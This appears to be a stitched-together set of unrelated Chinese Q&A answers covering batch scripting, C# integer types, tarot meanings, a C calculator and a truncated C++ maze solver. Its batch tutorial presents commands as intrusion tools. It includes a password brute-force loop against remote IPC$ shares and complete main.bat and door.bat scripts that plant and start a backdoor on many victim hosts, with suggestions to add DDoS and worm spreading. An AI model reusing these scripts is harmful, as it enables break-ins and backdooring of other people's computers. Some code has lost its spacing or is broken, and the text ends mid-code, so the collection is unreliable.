數字貨幣CLS

1. 數字轉換成人民幣金額的批處理

@echooff

set中=零壹貳叄肆伍陸柒捌玖
set位=萬仟佰拾億仟佰拾萬仟佰拾元
set/pvar=輸入數字:
setn=0
:add
ifnot"!var:~%n%,1!"==""(set/an+=1&gotoadd)
set/am=!n!-1
setnum=0
for%%iin(%中%)do(
setnet=%%i
call:num
set/anum+=1
)
set"var=!var:0.0=零!"
sety=1
for/l%%iin(0,1,%m%)do(
set/ax=!n!-%%i
setxx=%%i
call:show
)
set/pvalue=<$
del$
cls
echo!value!整
pause
exit
:show
set/p=!var:~%xx%,1!!位:~-%x%,1!<nul>>$
:num
ifnoty==1(
set"var=!var:%num%=%net%!"
)

遇到連00的數字就不行了，這也是代碼的弊端。轉換後只作顯示

2. 想買手機，介紹。一千元以下，好的才給分！

索愛 w830 w850
w開頭的索愛有幾款是1000一下的，不過大部分是07、06的機子

3. long a， b， c； unsigned short e， a_34c；是什麼意思,

Unsigned類型包括Uint、Ulong、UshortUint數據類型(1)Uint數據類型能夠持有不帶正負號的32位(亦即4個位元組)整數，數值范圍從0至2的32次方-1(2)Uint與Int數據類型是在32位平台上最有效率的數據類型，而且它們將會提供你應用程序最佳的性能。雖然那些較小的整數類型(包括：Ushort、Short、Byte與Sbyte)使用較少的位，但是卻需要花較多的時間來載入、保存以及提取。(3)由於Uint是一個不帶正負號的類型，因此它不能代表一個負數。如果你在一個會被計算成Uint類型的表達式上加了一個負號，Visual C#會將此表達式轉化成Long。(4)Visual C#里的Uint區域變數在使用之前必須初始化(myUint =new Uint();)，且Uint數據類型的默認值為0。(5)Uint數據類型可以擴展成Long、Ulong、Flort、Double與Decimal，這意味著，你可以將Uint轉換成這類數據類型而不會發生溢出錯誤。(6)你可以在一個常值之後加上類型字元U或u來表示此常值是Uint數據類型。例如：MessageBox.Show(TypeName(3993U));(7)在CLS兼容性方面，Uint數據類型並不是公共語言規范的一部分。(公共語言規范-Common Language Specifications(CLS)規定了.NET平台上的編程語言之間進行相會操作的規則；一個遵循了全部CLS規則的組件稱為「符合CLS規范」的組件。如果你的代碼違反了任一項CLS規范，那麼用編寫該組件以外的語言編寫的程序，就有可能無法使用該組件)。(8)C#數據類型和.NET Framework中對應的數據類型是等價的,Uint數據類型在.NET Framework中的對應類型是System.UInt32結構。Ulong數據類型(1)Ulong數據類型能夠持有不帶正負號的64位(亦即8個位元組)整數，數值范圍從0至2的64次方-1(2)由於Ulong是一個不帶正負號的類型，因此它不能代表一個負數。如果你在一個會被計算成Ulong類型的表達式上加了一個負號，Visual C#會將此表達式轉化成Decimal。(3)Ulong數據類型可以擴展成Flort、Double與Decimal，這意味著，你可以將Ulong轉換成這類數據類型而不會發生溢出錯誤。(4)你可以在一個常值之後加上類型字元UL來表示此常值是Uint數據類型。例如：MessageBox.Show(TypeName(3993UL));(5)Ulong數據類型在.NET Framework中的對應類型是System.UInt64結構。(6)Visual C#里的Ulong區域變數在使用之前必須初始化(myUlong =new Ulong();)，且Ulong數據類型的默認值為0。(7)同Uint(7)Ushort數據類型(1)Ushort數據類型能夠持有不帶正負號的16位(亦即2個位元組)整數，數值范圍從0至2的16次方-1(2)由於Ushort是一個不帶正負號的類型，因此它不能代表一個負數。如果你在一個會被計算成Ushort類型的表達式上加了一個負號，Visual C#會將此表達式轉化成Int。(3)Ushort數據類型可以擴展成Int、Uint、Long、Ulong、Flort、Double與Decimal，這意味著，你可以將Ushort轉換成這類數據類型而不會發生溢出錯誤。(4)Ushort數據類型在.NET Framework中的對應類型是System.UInt16結構。(5)Visual C#里的Ushort區域變數在使用之前必須初始化(myUshort =new Ushort();)，且Ushort數據類型的默認值為0。(6)你不需要在一個常值之後加上任何任何類型字元來表示此常值是Ushort數據類型。(7)同Uint(7)Sbyte數據類型(1)Sbyte數據類型能夠持有帶正負號的8位(亦即1個位元組)整數，數值范圍從-128至127。(2)同Uint(7)(3)Visual C#里的Sbyte區域變數在使用之前必須初始化(mySbyte =new Sbyte();)，且Sbyte數據類型的默認值為0。(4)Sbyte數據類型可以擴展成Short、Int、Long、Flort、Double與Decimal，這意味著，你可以將Sbyte轉換成這類數據類型而不會發生溢出錯誤。(5)Sbyte數據類型不具備任何類型字元。(6)Sbyte數據類型在.NET Framework中的對應類型是System.Sbyte結構。Decimal數據類型(1)Decimal關鍵字表示128位數據類型。同浮點型相比，decimal 類型具有更高的精度和更小的范圍，這使它適合於財務和貨幣計算。(2)Decimal大致范圍±1.0 × 10的負28次方到 ±7.9 × 10的正28次方，精度為28到29位有效位。(3)你可以在一個常值之後加上類型字元M或m來表示此常值是Decimal數據類型。如：decimal myMoney = 300.5m;如果沒有後綴字元m，數字將被視為Double類型，從而導致編譯器錯誤。(4)整型被隱式轉換為Decimal，其計算結果為Decimal。因此，可以用整數初始化十進制變數而不使用後綴字元，如decimal myMoney = 300;(5)在浮點型和Decimal類型之間不存在隱式轉換；因此，必須使用強制轉換在這兩種類型之間進行轉換。

4. bat命令、全一點的、給加分

一.簡單批處理內部命令簡介 1.Echo 命令 打開回顯或關閉請求回顯功能，或顯示消息。如果沒有任何參數，echo 命令將顯示當前回顯設置。 語法 echo [{onoff}] [message] Sample：@echo off / echo hello world 在實際應用中我們會把這條命令和重定向符號（也稱為管道符號，一般用> >> ^）結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。 2.@ 命令 表示不顯示@後面的命令，在入侵過程中（例如使用批處理來格式化敵人的硬碟）自然不能讓對方看到你使用的命令啦。 Sample：@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的，可喜的是微軟留了個autoset這個參數給我們，效果和/y是一樣的。) 3.Goto 命令 指定跳轉到標簽，找到標簽後，程序將處理從下一行開始的命令。 語法：goto label （label是參數，指定所要轉向的批處理程序中的行。） Sample： if {%1}=={} goto noparms if {%2}=={} goto noparms（如果這里的if、%1、%2你不明白的話，先跳過去，後面會有詳細的解釋。） @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 標簽的名字可以隨便起，但是最好是有意義的字母啦，字母前加個：用來表示這個字母是標簽，goto命令就是根據這個：來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。 4.Rem 命令 注釋命令，在C語言中相當與/*--------*/,它並不會被執行，只是起一個注釋的作用，便於別人閱讀和你自己日後修改。 Rem Message Sample：@Rem Here is the description. 5.Pause 命令 運行 Pause 命令時，將顯示下面的消息： Press any key to continue . . . Sample： @echo off :begin a:*.* d：\back echo Please put a new disk into driver A pause goto begin 在這個例子中，驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時，pause 命令會使程序掛起，以便您更換磁碟，然後按任意鍵繼續處理。
6.Call 命令 從一個批處理程序調用另一個批處理程序，並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call，它將不會在命令行起作用。 語法 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 參數 [Drive:}[Path] FileName 指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。 7.start 命令 調用外部程序，所有的DOS命令和命令行程序都可以由start命令來調用。 入侵常用參數： MIN 開始時窗口最小化 SEPARATE 在分開的空間內開始 16 位 Windows 程序 HIGH 在 HIGH 優先順序類別開始應用程序 REALTIME 在 REALTIME 優先順序類別開始應用程序 WAIT 啟動應用程序並等候它結束 parameters 這些為傳送到命令/程序的參數 執行的應用程序是 32-位 GUI 應用程序時，CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行，該新行為則不會發生。 8.choice 命令 choice 使用此命令可以讓用戶輸入一個字元，從而運行不同的命令。使用時應該加/c:參數，c:後應寫提示可輸入的字元，之間無空格。它的返回碼為1234…… 如: choice /c:dme defrag,mem,end 將顯示 defrag,mem,end[D,M,E]? Sample： Sample.bat的內容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag （應先判斷數值最高的錯誤碼） if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件運行後，將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ，然後if語句將作出判斷，d表示執行標號為defrag的程序段，m表示執行標號為mem的程序段，e表示執行標號為end的程序段，每個程序段最後都以goto end將程序跳到end標號處，然後程序將顯示good bye，文件結束。 9.If 命令 if 表示將判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式: 1、if "參數" == "字元串" 待執行的命令 參數如果等於指定的字元串，則條件成立，運行命令，否則運行下一句。(注意是兩個等號） 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名 待執行的命令 如果有指定的文件，則條件成立，運行命令，否則運行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 數字 待執行的命令 如果返回碼等於指定的數字，則條件成立，運行命令，否則運行下一句。 如if errorlevel 2 goto x2 DOS程序運行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼，常見的返回碼為0、1。
10.for 命令 for 命令是一個比較復雜的命令，主要用於參數在指定的范圍內循環執行命令。 在批處理文件中使用 FOR 命令時，指定變數請使用 %%variable for {%variable%%variable} in (set) do command [ CommandLineOptions] %variable 指定一個單一字母可替換的參數。 (set) 指定一個或一組文件。可以使用通配符。 command 指定對每個文件執行的命令。 command-parameters 為特定命令指定參數或命令行開關。 在批處理文件中使用 FOR 命令時，指定變數請使用 %%variable 而不要用 %variable。變數名稱是區分大小寫的，所以 %i 不同於 %I 如果命令擴展名被啟用，下列額外的 FOR 命令格式會受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符，則指定與目錄名匹配，而不與文件名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 檢查以 [drive:]path 為根的目錄樹，指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄，則使用當前目錄。如果集僅為一個單點(.)字元，則枚舉該目錄樹。 FOR /L %variable IN (start,step,end) DO command [command-para 該集表示以增量形式從開始到結束的一個數字序列。 因此，(1,1,5) 將產生序列 1 2 3 4 5，(5,-1,1) 將產生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者，如果有 usebackq 選項: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 為一個或多個文件名。繼續到 filenameset 中的 下一個文件之前，每份文件都已被打開、讀取並經過處理。 處理包括讀取文件，將其分成一行行的文字，然後將每行 解析成零或更多的符號。然後用已找到的符號字元串變數值 調用 For 循環。以默認方式，/F 通過每個文件的每一行中分開 的第一個空白符號。跳過空白行。您可通過指定可選 "options" 參數替代默認解析操作。這個帶引號的字元串包括一個或多個 指定不同解析選項的關鍵字。這些關鍵字為: eol=c - 指一個行注釋字元的結尾(就一個) skip=n - 指在文件開始時忽略的行數。 delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的 默認分隔符集。 tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代 的 for 本身。這會導致額外變數名稱的 格式為一個范圍。通過 nth 符號指定 m 符號字元串中的最後一個字元星號， 那麼額外的變數將在最後一個符號解析之 分配並接受行的保留文本。 usebackq - 指定新語法已在下類情況中使用: 在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 fi中使用雙引號擴起文件名稱。
sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 會分析 myfile.txt 中的每一行，忽略以分號打頭的那些行，將每行中的第二個和第三個符號傳遞給 for 程序體；用逗號和/或空格定界符號。請注意，這個 for 程序體的語句引用 %i 來取得第二個符號，引用 %j 來取得第三個符號，引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名，您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號，您還需要使用 usebackq 選項，否則，雙引號會被理解成是用作定義某個要分析的字元串的。 %i 專門在 for 語句中得到說明，%j 和 %k 是通過 tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號，只要不試圖說明一個高於字母 z 或Z 的變數。請記住，FOR 變數是單一字母、分大小寫和全局的同時不能有 52 個以上都在使用中。 您還可以在相鄰字元串上使用 FOR /F 分析邏輯；方法是，用單引號將括弧之間的 filenameset 括起來。這樣，該字元串會被當作一個文件中的一個單一輸入行。 最後，您可以用 FOR /F 命令來分析命令的輸出。方法是，將括弧之間的 filenameset 變成一個反括字元串。該字元串會被當作命令行，傳遞到一個子 CMD.EXE，其輸出會被抓進內存，並被當作文件分析。因此，以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 會枚舉當前環境中的環境變數名稱。 另外，FOR 變數參照的替換已被增強。您現在可以使用下列 選項語法: ~I - 刪除任何引號(")，擴充 %I %~fI - 將 %I 擴充到一個完全合格的路徑名 %~dI - 僅將 %I 擴充到一個驅動器號 %~pI - 僅將 %I 擴充到一個路徑 %~nI - 僅將 %I 擴充到一個文件名 %~xI - 僅將 %I 擴充到一個文件擴展名 %~sI - 擴充的路徑只含有短名 %~aI - 將 %I 擴充到文件的文件屬性 %~tI - 將 %I 擴充到文件的日期/時間 %~zI - 將 %I 擴充到文件的大小 %~$PATH:I - 查找列在路徑環境變數的目錄，並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變數未被定義，或者沒有找到文件，此組合鍵會擴充空字元串 可以組合修飾符來得到多重結果: %~dpI - 僅將 %I 擴充到一個驅動器號和路徑 %~nxI - 僅將 %I 擴充到一個文件名和擴展名 %~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名 %~dp$PATH:i - 查找列在路徑環境變數的目錄，並將 %I 擴充到找到的第一個驅動器號和路徑。 %~ftzaI - 將 %I 擴充到類似輸出線路的 DIR 在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語法 用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀，而且避免與不分大小寫的組合鍵混淆。 以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。 sample2： 利用For命令來實現對一台目標Win2k主機的暴力密碼破解。 我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接，當成功時記下密碼。 最主要的命令是一條：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%來表示admin的密碼，在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令－－ for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"find ":命令成功完成">>D:\ok.txt ，這樣就ko了。 sample3： 你有沒有過手裡有大量肉雞等著你去種後門＋木馬呢？，當數量特別多的時候，原本很開心的一件事都會變得很郁悶：）。文章開頭就談到使用批處理文件，可以簡化日常或重復性任務。那麼如何實現呢？呵呵，看下去你就會明白了。 主要命令也只有一條：（在批處理文件中使用 FOR 命令時，指定變數使用 %%variable） @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法請參見上面的sample1，在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。 而cultivate.bat無非就是用net use命令來建立IPC$連接，並木馬＋後門到victim，然後用返回碼（If errorlever =）來篩選成功種植後門的主機，並echo出來，或者echo到指定的文件。 delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列，一般就是 ip password username。 代碼雛形： --------------- cut here then save as a batchfile(I call it main.bat ) ----------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) ----------------- --------------- cut here then save as a batchfile(I call it door.bat) ------------------ @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @pse*x*e*c \\%1 c:\winnt\system32\windrv32.exe @ps*e*x*e*c \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) -
-------------- 這只是一個自動種植後門批處理的雛形，兩個批處理和後門程序（Windrv32.exe）,PS*e*x*e*c.exe需放在統一目錄下.批處理內容 尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究。

5. C#有什麼用

就是一個計算機編程語言 至於 怎麼用完全在你 不在它 你能把它用到什麼地方 能用到什麼程度 能給你帶來什麼 完全取決你自己 用處 因為c#是語言 很多平台都用到 比如 .net asp. net wpf wcf silverlight 等等 都會用到

6. 塔羅牌牌意(小阿爾卡納)

一、權杖、聖杯、寶劍、星幣
主牌代表了共通地主題，而輔牌則把這些主題擴展到現實中，展示出它們如何在日常事件中發生作用。輔牌代表逆關心地事情、你的行動、你的情緒，這些東西構築出生活的劇本。
輔牌共56張，分為四組：杖（wands)、杯（Cups）、劍（Swords）和星（Pentacles）。許多塔羅使用另外的名字來稱呼這四組牌。
每組牌都有特定的定義。

杖這一組，代表創造、行動和運動。它們與熱情、探索、冒險和自信等品德相關。這一組相當與中國哲學力的「陽」或是男性特徵，關聯元素為火。一堆跳動的火焰是杖之力量的完美象徵。這種能量向外發散，使人熱情地參與事務。

杯這一組，代表情緒和心靈體驗。它們描述了內心狀態、感覺和關系。這種能量是向內聚集地。杯相當與中國哲學里的「陰」或是女性特徵，關聯元素為水。水可以流動，可以填滿空隙，能夠忍受，卻又喜怒無常，這些都使它成為杯的典型象徵。

劍這一組，代表才智、思考和原因。它們與公正、真誠、道德等相關。劍的關聯元素是風。晴空開闊，萬里無雲，處處明亮，象徵著清澈明晰的內心精神，這是劍的最好寫照。這一組也會引向不協調與不辛。我們的頭腦是一項寶貴的財產，但是它代表自我，如果沒有心靈向導注入智慧，它便會把我們帶入歧途。

星這一組，代表實踐、安全和物質。它們與處理問題時的具體需求相關。星的關聯元素是地。星的精神是贊頌大自然之美、與植物和動物互動，以及身體的生理感覺。星也代表各種各樣的繁榮、成功和財富。有時這一組也被稱為「錢幣」。在這個物質世界上，當換取貨物、享受服務時，「錢幣」當然是最明顯的象徵了。

二、數字牌的能量運行
權杖、聖杯、寶劍、星幣這四組牌都是由十張數字牌以及四張宮廷牌組成，很象我們經常玩的撲克牌。在塔羅牌的能量運行中，每張牌都扮演著自己的角色
首牌
首牌說明了本組的主題。例如：「聖杯首牌」代表愛、情緒、直覺，以及親密關系——這些內容呈現在聖杯組的其他牌中。首牌始終代表正面的力量。它承載著本組所能提供的最好的東西。
中間牌
編有序號的中間牌（2～9），每張都代表本組的一個不同側面。例如：權杖所揭示的主題中，有個人力量（權杖2）、領導能力（權杖3）、興奮（權杖4）和競爭（權杖5）。一張牌可能會從幾個角度探討一個問題，例如：星幣5顯示出需求的許多方面——困難時期（物質需求）、健康不佳（生理需求），以及拒絕（感情需求）。
10號牌
每組第10號牌是把該組首牌的主題推導到一個邏輯結果上。例如：聖杯首牌代表愛、親密關系以及情緒等等，如果你讓它們發展下去，最後就會變成樂趣、平和以及家庭之愛，這正是「聖杯10」的內容。
宮廷牌
宮廷牌是一些個性化的人物，每個人物都擁有特殊的身份，象徵我們人生中的特定角色或者特殊階段。宮廷牌向我們展示一些特定的生存方式，因此在適當時候我們可以借鑒（或是避免）他們各自代表的那種處事原則。
國王
是成熟而男性化的。他是個實幹家，在處理各種事務時，他比較關注外在的方面。在本組中，國王代表權威、控制與統御。國王的方式是強壯、果斷、直接。他關心結果與實踐，以及如何應對事務。
王後
成熟而女性化的。她包容本組的特性，將這一組牌的特質具像化而不是將它們實現出來。她關注著內在，她的方式是放鬆與自然的。王後更關心生存的樂趣，而不太看重結果。她與感覺、關系和自我表達相關。
騎士
一個未成熟的青年。他無法平衡的表現自己。他想要成功的適應世界，卻在兩個極端間大幅度搖擺。騎士的行為有時很過分，但是他是熱切而忠誠的，因此我們能夠原諒他。我們佩服並且羨慕他的精神與精力。
侍者
一個頑皮的孩子。他表現出這組牌的快樂和放縱的特質。他的方式或許不夠深刻，但卻是簡單、輕松、出於本能的。他象徵著冒險，探求與可能性。

三、小阿卡那關鍵詞
首牌（開始）
權杖 行動 開始行動 能量之始、新行動、創造、機會、靈感
聖杯 情感 情緒上的開始 情感、愛、喜悅、感受
寶劍 思想 心智上的開始 思想、理智、新挑戰、極端、決心
星幣 物質 實質性的開始 物質、財富、享樂、安全、實質
2（決定）
權杖 身體或位置的決定 決定、權力、膽識、計劃
聖杯 情緒上的聯合 真愛、戀情、友誼、合作、結合
寶劍 信仰上的決定 僵局、逃避、抗拒、對立、緊張
星幣 財務上的決定 流通、波動、彈性、平衡、娛樂
3（成長）
權杖 旅行或身體上的進步 成就、領導、遠見、探索、貿易、合作
聖杯 情緒上的進步或慶祝 喜悅、歡慶、結盟、團體、宴會
寶劍 帶來理解的痛苦 悲傷、失落、延遲
星幣 學習帶來實物的成長 計劃、合作、協調、榮譽、才幹
4（鞏固）
權杖 身體上的鞏固 穩固、歡慶、和諧、繁榮
聖杯 情緒上的鞏固 選擇、沉思、冷淡、退縮
寶劍 精神上的鞏固 休息、消極、沉思、准備
星幣 財務上的鞏固 固守、佔有、控制、獲利、遺產
5（改變）
權杖 分散肉體的能量 沖突、爭執、競爭、激戰
聖杯 分離失落 失望、悲傷、失落
寶劍 內在的沖動 紛爭、失落、自私、無謂的勝利、屈辱
星幣 精神及財務上的貧困 貧困、疾病、艱苦、愛侶
6（穩定）
權杖 集中的能量及穩定 勝利、進展、自信、好消息
聖杯 情緒上的穩定 依靠、善意、童年、回憶、思鄉、照顧、饋贈
寶劍 放棄舊信念 平靜、憂郁、療傷、痊癒、旅行
星幣 財務上的穩定 施捨、慈善、慷慨、理財
7（別放棄）
權杖 身體上的挑戰 勇氣、防禦、挑戰、對立
聖杯 情感上的追求 夢想、迷惘、想像、選擇
寶劍 心智上的適應 不名譽、欺詐、孤立、嘗試、自信
星幣 需要適應力的重大財務挑戰 評估、待機、暫停、思索、收成
8（力量或個人能力）
權杖 充沛的體能 迅速、抵達、旅行、信息
聖杯 追尋更豐富生活的力量 追尋、丟棄、不滿足、行動、犧牲
寶劍 發現擺脫他人的信念力量 限制、畫地為牢、壞消息、壓迫、迷惑
星幣 決意在過去的成功上建立基礎 專業、技能、勤勞、工作
9（重新評估）
權杖 重新評估哪個目標重要 審慎、警覺、固執、防禦、經驗
聖杯 滿足感及健康的自我價值 滿足、享樂、得意、美夢成真
寶劍 憂慮 擔心、絕望、痛苦、失眠
星幣 因實際努力達成物質上的成功 魅力、信心、成功、享受、自律、富足
10（完成）
權杖 太多的方案帶來的負擔 壓迫、疲累、壓力、努力、責任
聖杯 和諧的家庭或團體 幸福、家庭、滿足、和諧、歡樂
寶劍 被人生觀擊倒 失敗、慘痛、結束、黎明前的黑暗
星幣 物質上穩固而持久的成功 家產、富裕、物質成功

侍者
權杖 認真 天真少年
聖杯 柔情 友善、好學、付出感情、好朋友
寶劍 機警 謠言、壞消息、偵探、間諜、狗仔隊
星幣 運用 學生、學徒、工匠、投資

騎士
權杖 積極 火熱的年輕人、旅行
聖杯 體貼 浪漫、多情、才藝、白馬王子
寶劍 強勢 激進人士、極端份子
星幣 積累 勤奮、現實、工作狂、拜金主義

王後
權杖 開朗 陽光女孩、傻大姐、女強人、巾幗英雄
聖杯 溫存 想像力、關懷、感性、女詩人
寶劍 道德 寡婦、分離、冷若冰霜
星幣 母愛 撫育、職業婦女、老闆娘、少婦

國王
權杖 穩重 開國君王、霸王、雄心萬丈的領導者
聖杯 寬容 愛家、關懷、慈善、新好男人、宗教家
寶劍 嚴肅 精明、專業人士
星幣 可靠 事業有成、經濟基礎、大老闆、企業大亨

7. 用C語言編寫匯率計算器

#include<stdio.h>
#include<windows.h>
#include<math.h>
#define p 3.1415926
#define r p/180 //r=p/180,p=3.14....,p/180是求的1弧度，下面sin(裡面要求的是弧度)，sin（30弧度）=0.5。 void main()
{
float i,j,k;
int l,m,n,a[10];
char cmd;
LOOP:
system("cls");
printf("***********************\n");
printf("*******小寒計算器******\n");
printf("***********************\n");
printf("\n\n本計算器提供+、-、*、/四種運算。\n");
printf("p-代表圓周率pai。\n");
printf("a-代表十進制轉換為二進制。\n");
printf("b-代表十進制轉換為八進制。\n");
printf("c-代表十進制轉換為十六進制。\n");
printf("d-代表該數值開方。\n");
printf("e-代表該數值開立方。\n");
printf("f-代表求幾次方。\n");
printf("S-代表sin。\n");
printf("C-代表cos。\n");
printf("T-代表tan。\n");
printf("\n\n請輸入要計算的數字和運算符號，輸入逗#地時，結束；輸入逗！地時復位。\n");

scanf("%f",&k);
while((cmd=getchar())!='#')
{
if(i!=0)
switch(cmd)
{
case '+': scanf("%f",&i);
k=k+i;
printf("=%5.2f",k);
break; case '-': scanf("%f",&i);
k=k-i;
printf("=%5.2f",k);
break; case '*': scanf("%f",&i);
k=k*i;
printf("=%5.2f",k);
break; case '/': scanf("%f",&i);
k=k/i;
printf("=%5.2f",k);
break;

case 'p': k=k*p;
printf("%6.4f",k);
break; case 'f': printf("請輸入要求該數字的幾次方：");
scanf("%d",&n);
i=k;
for(m=0;m<n-1;m++)
k=k*i;
printf("%5.2f",k);
break; case 'a': printf("轉換成二進制\n");
m=0;

while((int)k>0)
{
l=k;
k=k/2;
l=l%2;
a[m]=l;
m++;
}
for(n=m-1;n>=0;n--)
printf("%d",a[n]);
break; case 'b': printf("轉換成八進制\n");
m=0;
while((int)k>0)
{
l=k;
k=k/8;
l=l%8;
a[m]=l;
m++;
}
for(n=m-1;n>=0;n--)
printf("%d",a[n]);
break;

case 'c': printf("轉換成十六進制\n");
m=0;
while((int)k>0)
{
l=k;
k=k/16;
l=l%16;
a[m]=l;
m++;
}
for(n=m-1;n>=0;n--)
{
if(a[n]==10)
{ printf("A");continue;}
else if(a[n]==11)
{ printf("B");continue;}
else if(a[n]==12)
{ printf("C");continue;}
else if(a[n]==13)
{ printf("D");continue;}
else if(a[n]==14)
{ printf("E");continue;}
else if(a[n]==15)
{ printf("F");continue;} printf("%d",a[n]);
}

break;
case 'e': printf("該數值開立方得\n");
i=pow(k,1.0/3);
printf("%5.2f",i );
break;

case 'd': printf("該數值開方得\n");
i=k/2;
j=sqrt(k);
printf("%5.2f",j);
break; case 'S': k=k*r;
i=sin(k);
printf("%5.2f",i);
break;

case 'C': k=k*r;
i=cos(k);
printf("%5.2f",i);
break; case 'T': k=k*r;
i=tan(k);
printf("%5.2f",i);
break; case '!': goto LOOP;

}

}
}

8. 關於C語言的問題,高手進

1. 迷宮問題
/////////////////////////
/////////迷宮求解////////
//////作者:hacker/////
/////時間:11.10.2006/////
/////////////////////////
//Migong.h
//利用棧進行回溯
/*class:
Matrix:矩陣類
offsets:搜索偏移
enum directions:四個方向
struct item:搜索節點
Migong:迷宮類
1.創建一個Migong對象
2.使用用Create方法輸入數據
3.使用Solve方法進行求解
4.ShowSolve方法顯示解
5.可以重復使用Create方法
6.入口只能在左上角
7.默認出口在右下角
ShowAllPath:窮舉所有的路徑
備注:
由於演算法原因,這里的所有路徑應該是指
介於:
a.如果兩條路存在某個點不同那麼就是不同的路
b.如果在一條路中去掉一個或者一個以上的圈,那麼他們是同一條路
之間意義上的路
*/
#include <iostream>
#include <stack>
#include <vector>

using namespace std;

#ifndef MIGONG_H
#define MIGONG_H
///////////////////
///////矩陣類//////
///////////////////
class Matrix{
int* m;
int row, col;
bool iscreate;
public:
Matrix(){m=0;iscreate=false;};
~Matrix() {Release();};
bool Create(int, int);
int& operator () (int, int);
int GetRow(){return row;};
int GetCol(){return col;};
void Release();
void Show(char, char );
};

bool Matrix::Create(int r, int c)
{
if( r<=0 || c<=0) return false;

Release();

row = r;
col = c;
m = new int[row*col];

for (int i=0;i<row*col;i++)
{
*(m+i) = 0;
}
iscreate = true;
return true;
}

int& Matrix::operator ()(int r, int c)
{
return *(m+r*col+c);
}

void Matrix::Release()
{
if (iscreate)
{
row = col = 0;
if (m) delete[] m;
m = 0;
}
iscreate = false;
}

void Matrix::Show(char blk='#', char nblk=' ')
{
int i, j;
for (i=0;i<row;i++)
{
for (j=0;j<col;j++)
{
if (*(m+i*col+j) == 0)
cout<<nblk;
else
cout<<blk;
}
cout<<endl;
}
}
/////////////////////////////
////迷宮相關數據結構的定義///
/////////////////////////////
struct offsets{
int a, b;
};

enum directions{
_S = 0,
_E,
_N,
_W
};

struct item{
int row, col, dir;
};

class Migong{
static offsets move[4];
Matrix maze;
Matrix mark;
int row;
int col;
int desr;
int desc;
stack<item> stk;
bool iscreate;
int pathlength;
bool GetPath();
bool IsInPath(int, int);
public:
Migong(){issolved=false;result=0;pathlength=row=col=0;iscreate=false;};
~Migong(){Release();};
bool Create(int* , int , int , int , int );
void Solve();
void Release();
void OutputMaze();
void ShowSolve(char, char );
public:
bool issolved;
item* result;
};

offsets Migong::move[4]={ {1, 0}, {0, 1},
{-1, 0}, {0, -1}};

////////////////////////////
//迷宮數據應該是不含邊框的//
////////////////////////////
bool Migong::Create(int* m, int r, int c, int desrow=-1, int descol=-1)
{
if (r<=0 || c<=0) return false;

Release();

if (desrow==-1 || descol==-1)
{
desr = r;
desc = c;
}
else
{
desr = desrow;
desc = descol;
}

row = r;
col = c;
maze.Create(r+2, c+2);
mark.Create(r+2, c+2);

int i, j;

for (i=0;i<r+2;i++)
{
